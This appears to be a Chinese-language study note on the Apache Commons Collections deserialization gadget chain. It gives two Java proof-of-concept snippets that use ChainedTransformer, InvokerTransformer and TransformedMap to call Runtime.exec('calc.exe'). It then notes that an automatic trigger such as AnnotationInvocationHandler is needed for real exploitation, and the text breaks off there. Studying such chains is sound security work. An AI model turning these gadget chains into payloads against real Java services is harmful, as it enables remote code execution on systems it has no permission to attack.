分析cc链的时候,最大的体会就是分析可以,但不明白为什么可以想到这么绝的方法?火候不够.
先不管这个ChainedTransformer怎么想到的,就假设已经知道了这个可以把前一个结果当作后一个函数的参数就好了
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException { //创建一个含有Runtime的map HashMap<String, Runtime> stringRuntimeHashMap = new HashMap<>(); stringRuntimeHashMap.put("Aur0ra", Runtime.getRuntime()); MapTransformer mapTransformer = (MapTransformer) MapTransformer.getInstance(stringRuntimeHashMap); //传进去作为第一个transformer类 Transformer[] transformers = { mapTransformer, new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap hashMap = new HashMap(); Map outerMap = TransformedMap.decorate(hashMap, null, chainedTransformer); outerMap.put("name","Aur0ra"); }
其中部分的数据需要同步
因为最后相当于是从那个map中获取指定键的值,所以map构造,以及put的时候,需要注意同步性
可以看到上面的确实可以利用,但前提是知道put的内容,还是有缺陷.所以看下下面官方给的链
这个是完全无需借助不可控变量的
返回的是类中的某个元素,所以是可控的,且与传进来的参数无关
public static void main(String[] args) { Transformer[] transformers = { new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap hashMap = new HashMap(); Map outerMap = TransformedMap.decorate(hashMap, null, chainedTransformer); outerMap.put("name","Aur0ra"); //任意值,只要有put动作即可 }
一遍下来,有些地方和php链还是相似的,只是说有些trick的跳度稍大,没有开发基础的,比较难以理解(比如我).
上面只是一个样例POC是手动触发的,现实中还需要一个会自动触发的点,对该Map进行写的操作.所以要先找一个类其中包含可控map,且存在自动触发的反序列化点.
在找AnnotationInvocationHandler的时候,用import导入一直显示没有,但都下了几个jdk,都没有都快放弃了,结果突然发现,标识它不是public类,所以无法被import导入,,,,直接整